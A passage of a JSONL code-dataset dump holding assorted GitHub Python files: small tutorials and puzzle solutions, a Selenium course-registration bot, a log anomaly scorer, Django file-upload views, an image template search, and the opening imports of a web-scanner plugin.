\"Are you human? \",\n \"y\" : 0,\n \"n\" : 10\n },\n\n \"q3\" : {\n \"question\" : \"you were dead in endgame?\",\n \"y\" : 30,\n \"n\" : 0\n },\n\n \"q4\" : {\n \"question\" : \"are you lived in ice for 70 years?\",\n \"y\" : 100,\n \"n\" : 0\n },\n\n \"q5\" : {\n \"question\" : \"have you ever fought with big gound?\",\n \"y\" : 50,\n \"n\" : 0\n }\n}\n","repo_name":"Aman1072/rabari-aman-marvelgame","sub_path":"components/quizQuestions.py","file_name":"quizQuestions.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25028608936","text":"# person = [\"H.Duc\", 24, \"Hanoi\",11, False, 43, True]\n\n# person = {}\n# print(person)\n# print (type(person))\n\np0 = {\n \"name\" : \"H.Duc\", # key : value , type(key) = string \n \"age\" : 24,\n \"Hometown\": \"HaiPhong\",\n \"Status\" : False,\n \"Friend\" : 43,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n}\np1 = {\n \"name\" : \"Hoang\", # key : value , type(key) = string \n \"age\" : 21,\n \"Hometown\": \"Hanoi\",\n \"Status\" : False,\n \"Friend\" : 43,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n}\np2 = {\"name\" : \"Quang\", # key : value , type(key) = string \n \"age\" : 24,\n \"Hometown\": \"Ha Nam\",\n \"Status\" : False,\n \"Friend\" : 25,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n}\np3 = {\n \"name\" : \"Son\", # key : value , type(key) = string \n \"age\" : 21,\n \"Hometown\": \"Hung Yen\",\n \"Status\" : False,\n \"Friend\" : 56,\n \"Available\": True,\n \"favs\":[\"Cafe\",\"Coding\"] \n}\n# print(person[\"Hometown\"]),\n# person[\"friend_count\"]=450\n# person[\"age\"] +=2\n# print (person)\n# for k in person:\n# print(k,person[k])\n# for v in person.values():\n# print(v)\n# for k,v in person.items():\n# print(k,v)\n# print(person.items())\n# fs = person[\"favs\"]\n# print(person[\"favs\"][1])\np_list =[]\n# p_list.append(p0)\n# p_list.append(p1)\n# p_list.append(p2)\n# p_list.append(p3)\np_list= [\n{\n \"name\" : \"H.Duc\", # key : value , type(key) = string \n \"age\" : 24,\n \"Hometown\": \"HaiPhong\",\n \"Status\" : False,\n \"Friend\" : 43,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n},\np1,\np2,\np3]\nprint(p3[\"favs\"][0])\n","repo_name":"DuongTuan3008/duongquoctuan-fundamentals-c4e26","sub_path":"Fundamentals/Session4/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31022125249","text":"import time,os,datetime\r\nfrom Base import setting\r\n\r\n# BaseDir =\"E:\\selenium_uses\\\\Report\" #从setting 文件导入拼接\r\nBaseDir=setting.ProjectPath+\"\\\\Report\"\r\nprint(BaseDir)\r\n\r\nclass TimeUtil(object):\r\n # 日志 报告 ��接事件\r\n\r\n def set_date(self): #固定写法\r\n now = datetime.datetime.now()\r\n return \"{0}-{1}-{2}\".format(now.year, now.month, now.day)\r\n\r\n def set_time(self):#固定写法\r\n return time.strftime(\"%H-%M\")\r\n\r\n def get_report_path(self): #核心函数\r\n \"格式月日/单位时间格式的.html,只用到time\"\r\n nowtime = time.localtime() #转换为可读的\r\n dir_date = time.strftime('-%Y%m%d', nowtime) #格式化 Report-年月日\r\n if not os.path.exists(BaseDir + dir_date): #=\"E:\\selenium_uses\\\\Report-年月日\" 文件夹\r\n os.mkdir(BaseDir + dir_date)\r\n #print(\"路径===》\",BaseDir + dir_date)\r\n day_file = time.strftime('%H%M%S', nowtime)\r\n return BaseDir + dir_date + '\\\\' + 'Report-' + day_file + '.html'\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"18730390662/new_web","sub_path":"Utils/Time.py","file_name":"Time.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31582113303","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.support.ui import Select\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom datetime import datetime\nimport time\nimport threading\n\nclass Register():\n def __init__(self, text_file, test = False, dev = False):\n dt = datetime.now()\n self._test = test\n self._dev = dev\n self._url = \"https://webreg.burnaby.ca/webreg/Activities/ActivitiesAdvSearch.asp\"\n self._program = \"volleyball\"\n self._info = text_file\n self._cc_info = \"cc_info.txt\"\n self._user = ''\n self._password = ''\n self._name = ''\n self._card_number = ''\n self._cvv = ''\n self._exp_month = ''\n self._exp_year = ''\n self._driver = self.setup_driver()\n self._day = self.convert_week_day_to_string(dt.weekday())\n self._course_click = \"\"\n\n if self._dev:\n self._program = \"basketball\"\n self._day = \"Tuesday\"\n \n def print_name(self):\n return self._info\n\n def convert_week_day_to_string(self, weekday):\n if (weekday == 0): return \"Monday\"\n elif (weekday == 1): return \"Tuesday\"\n elif (weekday == 2): return \"Wednesday\"\n elif (weekday == 3): return \"Thursday\"\n elif (weekday == 4): return \"Friday\"\n elif (weekday == 5): return \"Saturday\"\n elif (weekday == 6): return \"Sunday\"\n\n def setup_driver(self):\n \"\"\"Set's up Selenium Web-driver\"\"\"\n # gets rid of devtools message\n options = webdriver.ChromeOptions()\n options.add_experimental_option('excludeSwitches', ['enable-logging'])\n\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options = options)\n driver.get(self._url)\n return driver\n \n def get_login_info(self):\n \"\"\" Get login info from file\"\"\"\n f = open (self._info, \"r\")\n self._user = f.readline().strip()\n self._password = f.readline().strip()\n self._name = \"//option[contains(text(), '\" + f.readline() + \"')]\"\n f.close()\n\n def login(self):\n \"\"\" Login to webpage\"\"\"\n self._driver.find_element(By.XPATH, \"//a[@title='Click here to login.']\").click()\n self._driver.implicitly_wait(0.5)\n self._driver.find_element(By.NAME, \"ClientBarcode\").send_keys(self._user)\n self._driver.find_element(By.NAME, \"AccountPIN\").send_keys(self._password)\n self._driver.find_element(By.XPATH, \"//input[@type='submit']\").click()\n\n def get_page(self):\n \"\"\" Gets correct activity page instantly\"\"\"\n dt = datetime.now()\n dt_hour = dt.hour\n dt_min = dt.minute\n delay = 0\n\n # check every 5 min until 8:52 then as fast as possible\n if dt_hour < 8:\n delay = 300\n elif dt_hour <= 8 and dt_min <= 53:\n delay = 300\n elif dt_hour <= 8 and dt_min <= 54:\n delay = 240\n elif dt_hour <= 8 and dt_min <= 55:\n delay = 180\n elif dt_hour <= 8 and dt_min <= 56:\n delay = 120\n elif dt_hour <= 8 and dt_min <= 57:\n delay = 60\n\n print(dt_hour)\n time.sleep(delay)\n self._driver.find_element(By.NAME, \"all_search_form\").click()\n self._driver.find_element(By.NAME, \"KeywordSearch\").send_keys(self._program)\n self._driver.find_element(By.XPATH, \"//input[@type='submit']\").click()\n\n def get_next_weeks_activity(self):\n activity_dropdown = \"\"\n\n if (self._dev):\n \n activity_dropdown = \"//div[@id='activity-1-8607']\" # edmonds\n self._course_click = self._driver.find_element(By.XPATH, activity_dropdown)\n # activity_dropdown = \"//div[@id='activity-1-8613']\" # bonsor basketball tuesday\n return self._driver.find_element(By.XPATH, activity_dropdown)\n\n # if (self._day == \"Tuesday\"): activity_dropdown = \"//div[@id='activity-1-8609']\" # test table tennis\n\n if (self._day == \"Tuesday\"): activity_dropdown = \"//div[@id='activity-1-8607']\" # edmonds\n # if (self._day == \"Tuesday\"): activity_dropdown = \"//div[@id='activity-1-8642']\" # bonsor\n elif (self._day == \"Thursday\"): activity_dropdown = \"//div[@id='activity-1-8614']\" # edmonds\n elif (self._day == \"Friday\"): activity_dropdown = \"//div[@id='activity-1-8634']\" # bonsor\n elif (self._day == \"Sunday\"): activity_dropdown = \"//div[@id='activity-1-8638']\" # christine\n elif (self._day == \"Monday\"): activity_dropdown = \"//div[@id='activity-1-8837']\"\n elif (self._day == \"Wednesday\"): activity_dropdown = \"//div[@id='activity-1-8837']\"\n self._course_click = self._driver.find_element(By.XPATH, activity_dropdown)\n return self._driver.find_element(By.XPATH, activity_dropdown)\n\n def select_course(self):\n \"\"\" Selects the correct course\"\"\"\n print(self._day)\n self._driver.implicitly_wait(0.5)\n parent = self.get_next_weeks_activity()\n parent.find_element(By.XPATH, \"./child::*\").click()\n\n # Add Element is unique so just need to refresh + try this until it works\n self._driver.find_element(By.XPATH, \"//a[@class='ui-state-active ui-corner-all link-button ajax-request from-full-page focus-parent need-focus-pageobject']\").click()\n\n def select_person(self):\n \"\"\" Selects the correct person to sign up \"\"\"\n self._driver.implicitly_wait(5)\n self._driver.find_element(By.XPATH, \"//select[@name='ClientID']\").click()\n self._driver.find_element(By.XPATH, self._name).click()\n\n def confirm_person(self):\n \"\"\" After all people have been selected wait 2 seconds (global) then confirm people\"\"\"\n self._driver.implicitly_wait(3)\n self._driver.find_element(By.XPATH, \"//input[@value='Go to Checkout']\").click()\n\n def pay_for_course(self):\n \"\"\" Pays for the course at checkout page \"\"\"\n \"\"\" Try except block here too... or just remove this as don't need to\"\"\"\n time.sleep(2)\n self._driver.implicitly_wait(1)\n self.get_card_info()\n print(\"Made it to sign up page\")\n\n card_type = Select(self._driver.find_element(By.XPATH, \"//select[@name='CardType']\"))\n card_type.select_by_visible_text('VISA (web)')\n\n # enable this line later\n self._driver.find_element(By.XPATH, \"//input[@name='CardNum']\").send_keys(self._card_number)\n\n self._driver.find_element(By.XPATH, \"//input[@name='CardSecurityCode']\").send_keys(self._cvv)\n\n card_month = Select(self._driver.find_element(By.XPATH, \"//select[@name='CardExpM']\"))\n card_month.select_by_visible_text(self._exp_month)\n \n card_year = Select(self._driver.find_element(By.XPATH, \"//select[@name='CardExpY']\"))\n card_year.select_by_visible_text(self._exp_year)\n \n # should run once uncommented\n if (self._test):\n print(\"click payment!\")\n else:\n time.sleep(0.25)\n self._driver.find_element(By.XPATH, \"//input[@name='ApplyPayment']\").click()\n print(\"Signed up!\")\n\n def get_card_info(self):\n \"\"\" Gets card info from file \"\"\"\n f = open(self._cc_info, \"r\")\n self._card_number = f.readline().strip()\n self._cvv = f.readline().strip()\n self._exp_month = f.readline().strip()\n self._exp_year = f.readline()\n\n f.close()\n\ndef exectue_bot(bot):\n course_available = False\n # reg = Register(bot,True, True) # testing basketball\n # reg = Register(bot, True, False) # testing same day no buy\n reg = Register(bot,False, False) # actually buying still have to manually buy\n reg.get_login_info()\n reg.login()\n \n start = time.time()\n while (not course_available):\n start = time.time()\n reg.get_page()\n try:\n reg.select_course()\n course_available = True\n except:\n ending = time.time()\n print(f\"took: {ending - start}\")\n print(\"Not Yet Available\")\n reg._driver.refresh()\n \n reg.select_person()\n end = time.time()\n\n total_time = end - start\n print(f\"Time to book {reg.print_name()}: {total_time}\")\n\n # time.sleep(5)\n # reg.confirm_person()\n # reg.pay_for_course()\n time.sleep(300)\n\nif __name__ == \"__main__\":\n threading.Thread(target=exectue_bot, args = (\"michael.txt\",)).start()\n # threading.Thread(target=exectue_bot, args = (\"arianne.txt\",)).start()\n # threading.Thread(target=exectue_bot, args = (\"daniel.txt\",)).start()\n # threading.Thread(target=exectue_bot, args = (\"kayla.txt\",)).start()\n\n \n ","repo_name":"themichaelfischer/Registration_Bot","sub_path":"registration_bot.py","file_name":"registration_bot.py","file_ext":"py","file_size_in_byte":8751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42204904608","text":"class Solution:\n def kthDistinct(self, arr: List[str], k: int) -> str:\n freq={}\n for i in arr :\n if i not in freq :\n freq[i]=1\n else :\n freq[i]+=1\n arr=[]\n for i in freq :\n if freq[i]==1 :\n arr.append(i)\n if len(arr) < k :\n return \"\"\n return arr[k-1]","repo_name":"harshita1611/leet_code","sub_path":"my-folder/problems/kth_distinct_string_in_an_array/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"6018478408","text":"from sklearn.feature_extraction.text import CountVectorizer\nimport pandas as pd\nimport numpy as np\nimport gensim\nfrom nltk.stem import WordNetLemmatizer, SnowballStemmer\nfrom nltk.stem.porter import *\nimport math\nfrom functools import lru_cache\n\n\n@lru_cache(maxsize=10000)\ndef lemmatize_stemming(text):\n return WordNetLemmatizer().lemmatize(text, pos='v')\n\ndef preprocess(text):\n result = []\n for token in gensim.utils.simple_preprocess(text):\n result.append(lemmatize_stemming(token))\n return result\n\ndef calculate_score(data, vectorizer, entropy):\n \"\"\"Calculate the score for new coming data\n\n Args:\n data (dict): The dictionary with the format: {LE name: dataframe}\n vectorizer (CountVectorizer): The trained vector\n entropy (dict): The dictionary with the format: {LE name: {term: entropy}}\n \"\"\"\n score = dict()\n for key, val in data.items():\n score[key] = 0\n counts = calculate_term_vector(val, vectorizer).sum().to_dict()\n for term, count in counts.items():\n try:\n score[key] += (entropy[key][term] * math.log2(1 + count)) ** 2\n except:\n pass\n score[key] = math.sqrt(score[key])\n return score\n\ndef calculate_term_vector(data, vectorizer):\n \"\"\"\n Calculate the term vector base on data\n Args:\n data (dataframe): format time, message\n vectorizer (CountVectorizer): The trained vector\n \"\"\"\n # Tokenize data\n if 'process' not in data.columns:\n data['process'] = data['message'].map(preprocess)\n matrix = vectorizer.transform(data['process'])\n # Count term per each document\n counts = pd.DataFrame(matrix.toarray(), columns=vectorizer.get_feature_names()).copy()\n return counts\n \ndef preprocess_training_data(data):\n \"\"\"Calculate the entropy (et) for each logging entity (LE) in training phase\n\n Args:\n data (dict): The dictionary with the format: {LE name: dataframe}\n \"\"\"\n result = dict()\n df = pd.concat([x for x in data.values()], ignore_index=True)\n df['process'] = df['message'].map(preprocess)\n vectorizer = CountVectorizer(analyzer=lambda x: x)\n vectorizer.fit(df['process'])\n for key, val in data.items():\n et = preprocess_log_entities_data(val, vectorizer)\n result[key] = et\n return result, vectorizer\n\ndef calculate_entropy(x):\n if x == 0:\n return 0\n else:\n return x * math.log2(x)\n\ndef preprocess_log_entities_data(le_data, vectorizer):\n \"\"\"Calculate the entropy from database normative chunks\n\n Args:\n le_data (dict): The logging entity data, data frame with format: time, log\n vectorizer (CountVectorizer): The trained vector\n \"\"\"\n counts = calculate_term_vector(le_data, vectorizer)\n counts['timestamp'] = le_data['timestamp'].values\n counts = counts.sort_values(by='timestamp')\n # print(counts[0:20])\n # Resample data to period and sum the term occurrences\n time = counts['timestamp'].dt.to_period('10S')\n agg = counts.groupby([time]).sum()\n # print(agg[['last', 'message', 'rpd']])\n agg_df = agg.div(agg.sum(axis=0), axis=1)\n # Calculate the p * log2(p)\n # agg_df = agg_df.applymap(calculate_entropy)\n agg_df = agg_df * np.log2(agg_df)\n agg_df.fillna(0, inplace=True)\n # Sum according to column to get sum of all p * log2(p) (entropy of a term in M normative chunks). After that, divide M and plus 1 to calculate entropy.\n entropy = 1 + agg_df.sum()/math.log2(len(agg_df))\n return entropy.to_dict()\n\n\n# if __name__ == '__main__':\n# filepath = '/home/kien/SVTECH_CODE/log_template_SVTECH/data_without_template_per_host/ME_PR02.MAP063_RE0.csv'\n# df = pd.read_csv(filepath)\n# print(preprocess_training_data({'LE1': df})) \n","repo_name":"trungkien210493/unsupervised_log_detection","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33708426560","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n dummy = cur = ListNode()\n div, mode = 0, 0\n\n while l1 or l2:\n val = mode\n if l1:\n val = val + l1.val\n l1 = l1.next\n if l2:\n val = val + l2.val\n l2 = l2.next\n div, mode = val % 10, val // 10\n cur.next = ListNode(div)\n cur = cur.next\n\n if mode != 0:\n cur.next = ListNode(mode)\n \n return dummy.next","repo_name":"x12hengyu/algorithm-notes","sub_path":"blind75/2-add-two-numbers.py","file_name":"2-add-two-numbers.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"10773828127","text":"# Association files\nfrom django.contrib import messages\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse\nfrom django.views import View\nfrom django.views.generic import DetailView, CreateView, DeleteView\nfrom django.views.generic.detail import SingleObjectMixin\n\nfrom portailva.association.mixins import AssociationMixin\nfrom portailva.file.forms import AssociationFileUploadForm\nfrom portailva.file.models import FileFolder, AssociationFile, ResourceFile, FileVersion\n\n\nclass AssociationFileTreeView(AssociationMixin, DetailView):\n template_name = 'file/files/tree.html'\n\n def get(self, request, *args, **kwargs):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n current_folder = FileFolder.objects.get(pk=folder_pk)\n folders = FileFolder.objects.all().filter(parent_id=current_folder.id).order_by('name')\n files = AssociationFile.objects.all()\\\n .filter(association_id=self.association.id)\\\n .filter(folder_id=folder_pk)\\\n .order_by('name')\n except (KeyError, ValueError, TypeError):\n # User wants to list folders on root folder\n folders = FileFolder.objects.all().filter(parent=None).order_by('name')\n files = list()\n current_folder = None\n except:\n raise Http404\n\n return render(request, self.template_name, {\n 'association': self.association,\n 'folders': folders,\n 'files': files,\n 'current_folder': current_folder,\n 'is_root': (current_folder is None)\n })\n\n def get_folder(self):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n except (KeyError, ValueError, TypeError):\n return None\n return get_object_or_404(FileFolder, pk=folder_pk)\n\n\nclass AssociationFileUploadView(AssociationMixin, CreateView):\n template_name = 'file/files/upload.html'\n http_method_names = ['get', 'post']\n form_class = AssociationFileUploadForm\n current_folder = None\n\n def dispatch(self, request, *args, **kwargs):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n self.current_folder = FileFolder.objects.get(pk=folder_pk)\n if not self.current_folder.is_writable:\n # User can't upload file here\n raise Http404\n except:\n # Folder id not provided or folder does not exist\n raise Http404\n\n return super(AssociationFileUploadView, self).dispatch(request, *args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name, {\n 'form': self.form_class(),\n 'association': self.association,\n 'current_folder': self.current_folder\n })\n\n def post(self, request, *args, **kwargs):\n form = self.get_form(self.form_class)\n if form.is_valid():\n return self.form_valid(form)\n return render(request, self.template_name, {\n 'association': self.association,\n 'form': form,\n 'current_folder': self.current_folder\n })\n\n def get_form(self, form_class=AssociationFileUploadForm):\n return form_class(data=self.request.POST, files=self.request.FILES, folder=self.current_folder)\n\n def get_folder(self):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n except (KeyError, ValueError, TypeError):\n return None\n return get_object_or_404(FileFolder, pk=folder_pk)\n\n def form_valid(self, form):\n # We first create file\n file = AssociationFile.objects.create(\n name=form.cleaned_data.get('name'),\n association=self.association,\n folder=self.current_folder,\n is_public=form.cleaned_data.get('is_public', False)\n )\n\n # Then file version\n FileVersion.objects.create(\n version=1,\n data=self.request.FILES['data'],\n file=file,\n user=self.request.user\n )\n\n return redirect(reverse('association-file-tree', kwargs={\n 'association_pk': self.association.id,\n 'folder_pk': self.current_folder.id\n }))\n\n\nclass AssociationFileDeleteView(AssociationMixin, DeleteView):\n model = AssociationFile\n template_name = 'file/files/delete.html'\n success_url = None\n\n def post(self, request, *args, **kwargs):\n self.success_url = reverse('association-file-tree', kwargs={\n 'association_pk': self.association.id,\n 'folder_pk': self.get_object().folder_id\n })\n\n messages.add_message(self.request, messages.SUCCESS, \"Le fichier a correctement été supprimé.\")\n\n return super(AssociationFileDeleteView, self).post(request, *args, **kwargs)\n\n\nclass AssociationFilePublishView(AssociationMixin, SingleObjectMixin, View):\n model = AssociationFile\n http_method_names = ['post']\n object = None\n\n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n\n file = AssociationFile.objects.get(id=self.object.id)\n file.is_public = not file.is_public\n file.save()\n\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n","repo_name":"BdEINSALyon/portailva","sub_path":"portailva/file/views/association_files.py","file_name":"association_files.py","file_ext":"py","file_size_in_byte":5385,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"71965804033","text":"import robot_python\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nfrom pathlib import Path\nimport sys\n\n\nsys.path.append(str(Path(__file__).parent.parent / \"utils\"))\n\n\nprint(sys.path)\n\nfrom viewer.acrobot_viewer import AcrobotViewer\n\n\nenv_file = \"../envs/acrobot_v0/swing_up_obs.yaml\"\n\nr = robot_python.robot_factory_with_env(\"../models/acrobot_v0.yaml\", env_file)\n\n\nx0 = np.array([0, 0, 0, 0])\nx1 = np.array([3.14159, 0, 0, 0])\nx2 = np.array([np.pi / 2, np.pi / 2, 0, 0])\nx3 = np.array([2.37, 1.4, 0, 0])\n\nfor x in [x0, x1, x2, x3]:\n c = robot_python.CollisionOut()\n r.collision_distance(x, c)\n\n # plot the environment\n viewer = AcrobotViewer()\n\n fig, ax = plt.subplots()\n\n viewer.view_problem(ax, env_file)\n\n viewer.view_state(ax, x)\n\n ax.plot([c.p1[0], c.p2[0]], [c.p1[1], c.p2[1]], \"o-\", color=\"red\")\n\n plt.show()\n\n\n# utils.viewer.acrobot_viewer.AcrobotViewer()\n","repo_name":"quimortiz/dynobench","sub_path":"example/check_cols.py","file_name":"check_cols.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"8060893317","text":"# Задайте натуральное число N. Напишите программу, которая составит список простых множителей числа N.\n\ndef InputNumbers(inputText):\n is_OK = False\n while not is_OK:\n try:\n number = int(input(f\"{inputText}\"))\n is_OK = True\n except ValueError:\n print(\"Это не число!\")\n return number\n\ndef Factor(n):\n spisok_mnoj = []\n d = 2\n while d * d <= n:\n if n % d == 0:\n spisok_mnoj.append(d)\n n //= d\n else:\n d += 1\n if n > 1:\n spisok_mnoj.append(n)\n return spisok_mnoj\n\nnum = InputNumbers(\"Введите число: \")\nprint(Factor(num))","repo_name":"denvoropaev94/DZ_Python","sub_path":"seminar4/sem04_zadacha02.py","file_name":"sem04_zadacha02.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13125824311","text":"import cv2\nimport numpy as np\nimport time\nimport os\nfrom threading import Thread\n\nstartTime = int(round(time.time()))\n\ntemplate = cv2.imread('template.png')\ntemplate = cv2.cvtColor(template, cv2.COLOR_BGR2GRAY)\nsucces_list = []\n\nlist = []\nlist = os.listdir(\"/home/ffe/Desktop/Image_Search/images\")\n\n\ndef calculate(x, y):\n for i in range(x, y):\n tmp = 0\n img_rgb = cv2.imread(\"images/\" + list[i])\n img_gry = cv2.cvtColor(img_rgb, cv2.COLOR_BGR2GRAY)\n\n w, h = template.shape[::-1]\n res = cv2.matchTemplate(img_gry, template, cv2.TM_CCOEFF_NORMED)\n threshold = 0.8\n loc = np.where(res >= threshold)\n\n for pt in zip(*loc[::-1]):\n cv2.rectangle(img_rgb, pt, (pt[0] + w, pt[1] + h), (0, 0, 255), 2)\n tmp += 1\n\n if (tmp > 1):\n cv2.imwrite('result/' + list[i], img_rgb)\n succes_list.append(list[i])\n\n\nx = int(round(len(list) / 4))\n\nt1 = Thread(target=calculate, args=(0, x))\nt2 = Thread(target=calculate, args=(x, (2 * x)))\nt3 = Thread(target=calculate, args=((2 * x), (3 * x)))\nt4 = Thread(target=calculate, args=((3 * x), (len(list))))\n\nt1.start()\nt2.start()\nt3.start()\nt4.start()\n\nt1.join()\nt2.join()\nt3.join()\nt4.join()\n\nendTime = int(round(time.time()))\nprint(\"Success: \", succes_list)\nprint(\"Time: \", (endTime - startTime))\n\n","repo_name":"ffekinci/Image-Search","sub_path":"img-search-with-thread.py","file_name":"img-search-with-thread.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"386186122","text":"\"\"\"Kata url: https://www.codewars.com/kata/5c3433a4d828182e420f4197.\"\"\"\n\n\ndef reverse(a):\n rev = ''.join(x[::-1] for x in a[::-1])\n out = []\n\n x = 0\n for i in a:\n out.append(rev[x: x + len(i)])\n x += len(i)\n return out\n\n\ndef test_reverse():\n assert (\n reverse([\"I\", \"like\", \"big\", \"butts\", \"and\", \"I\", \"cannot\", \"lie!\"])\n == [\"!\", \"eilt\", \"onn\", \"acIdn\", \"ast\", \"t\", \"ubgibe\", \"kilI\"]\n )\n assert reverse(\n [\n \"?kn\", \"ipnr\", \"utotst\", \"ra\", \"tsn\", \"iksr\", \"uo\", \"yer\", \"ofebta\",\n \"eote\", \"vahu\", \"oyodpm\", \"ir\", \"hsyn\", \"amwoH\"\n ]\n ) == [\n \"How\", \"many\", \"shrimp\", \"do\", \"you\", \"have\", \"to\", \"eat\", \"before\",\n \"your\", \"skin\", \"starts\", \"to\", \"turn\", \"pink?\"\n ]\n","repo_name":"Sigmanificient/codewars","sub_path":"src/python/katas/py7kyu/ultimate_array_reverser.py","file_name":"ultimate_array_reverser.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"11032775728","text":"\"\"\"\n@author Austin Cepalia acc5989@rit.edu \n\"\"\"\nimport numpy as np\nimport editdistance \n\ndef cleanup_labels(data):\n data.sort()\n filtered = []\n\n search_range = 2\n threshold = 8\n\n i = 0\n while i < len(data):\n lower = i - search_range\n upper = i + search_range\n try:\n for word in data[lower:upper]:\n add = False\n for word2 in data[lower:upper]:\n if not word2 in filtered and editdistance.eval(word, word2) > threshold:\n add = True \n if add:\n filtered.append(word)\n except Exception:\n continue\n i += search_range\n\n # remove duplicates\n final = []\n for i in filtered:\n if i not in final:\n final.append(i)\n\n return final","repo_name":"sxg9999/DataMiningProject","sub_path":"clean_labels.py","file_name":"clean_labels.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12516208507","text":"import heapq\n\n\ndef ugly_number(n):\n # Time complexity: O(nlogn)\n # Space complexity: O(n)\n q = [1]\n seen = {1}\n for i in range(n-1):\n u = heapq.heappop(q)\n for nu in [2*u, 3*u, 5*u]:\n if not nu in seen:\n heapq.heappush(q, nu)\n seen.add(nu)\n return heapq.heappop(q)\n\n\ndef is_ugly(n):\n if n <= 0:\n return False\n for p in [2, 3, 5]:\n while n % p == 0:\n n = n // p\n return n == 1\n\n\nif __name__ == '__main__':\n print(ugly_number(10))\n print(is_ugly(6), is_ugly(7), is_ugly(8), is_ugly(1))\n","repo_name":"satojkovic/algorithms","sub_path":"problems/ugly_number.py","file_name":"ugly_number.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9473570963","text":"N = int(input())\nH = list(map(int, input().split()))\n\ndp = []\n\nfor i in range(N):\n if i >= 2:\n route_a = dp[i-1] + abs(H[i-1]-H[i])\n route_b = dp[i-2] + abs(H[i-2]-H[i])\n dp.append(min(route_a, route_b))\n elif i == 1:\n dp.append(abs(H[1]-H[0]))\n else:\n dp.append(0)\nans = dp[-1]\nprint(ans)\n\n","repo_name":"ishida722/atcoder-study","sub_path":"EDPC/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24885342294","text":"import pytest\nfrom datetime import datetime\n\nfrom src.inspetor.model.inspetor_account import InspetorAccount\nfrom src.inspetor.model.inspetor_address import InspetorAddress\nfrom src.inspetor.exception.model_exception.inspetor_account_exception import InspetorAccountException\n\nclass TestInspetorAccount:\n\n def get_default_account(self):\n account = InspetorAccount()\n account.id = \"123\"\n account.name = \"Test\"\n account.email = \"test@email.com\"\n account.document = \"12312312312\"\n account.phoneNumber = \"112345678\"\n account.address = self.get_default_address()\n account.timestamp = datetime.timestamp(datetime.now())\n\n return account\n\n def get_default_address(self):\n address = InspetorAddress()\n address.street = \"Test Stree\"\n address.number = \"123\"\n address.zip_code = \"123456\"\n address.city = \"Test City\"\n address.state = \"Test State\"\n address.country = \"Test Country\"\n address.latitude = \"123\"\n address.longitude = \"123\"\n\n return address\n\n def test_if_is_valid(self):\n account = self.get_default_account()\n assert account.is_valid() is None","repo_name":"legiti/inspetor-python","sub_path":"tests/inspetor/model/inspetor_account_test.py","file_name":"inspetor_account_test.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42563320074","text":"from __future__ import with_statement\n\nimport core.controllers.outputManager as om\n\n# options\nfrom core.data.options.option import option\nfrom core.data.options.optionList import optionList\n\nfrom core.controllers.basePlugin.baseAuditPlugin import baseAuditPlugin\nfrom core.data.fuzzer.fuzzer import createMutants\n\nimport core.data.kb.knowledgeBase as kb\nimport core.data.kb.vuln as vuln\nimport core.data.kb.info as info\nimport core.data.constants.severity as severity\n\nHEADER_NAME = 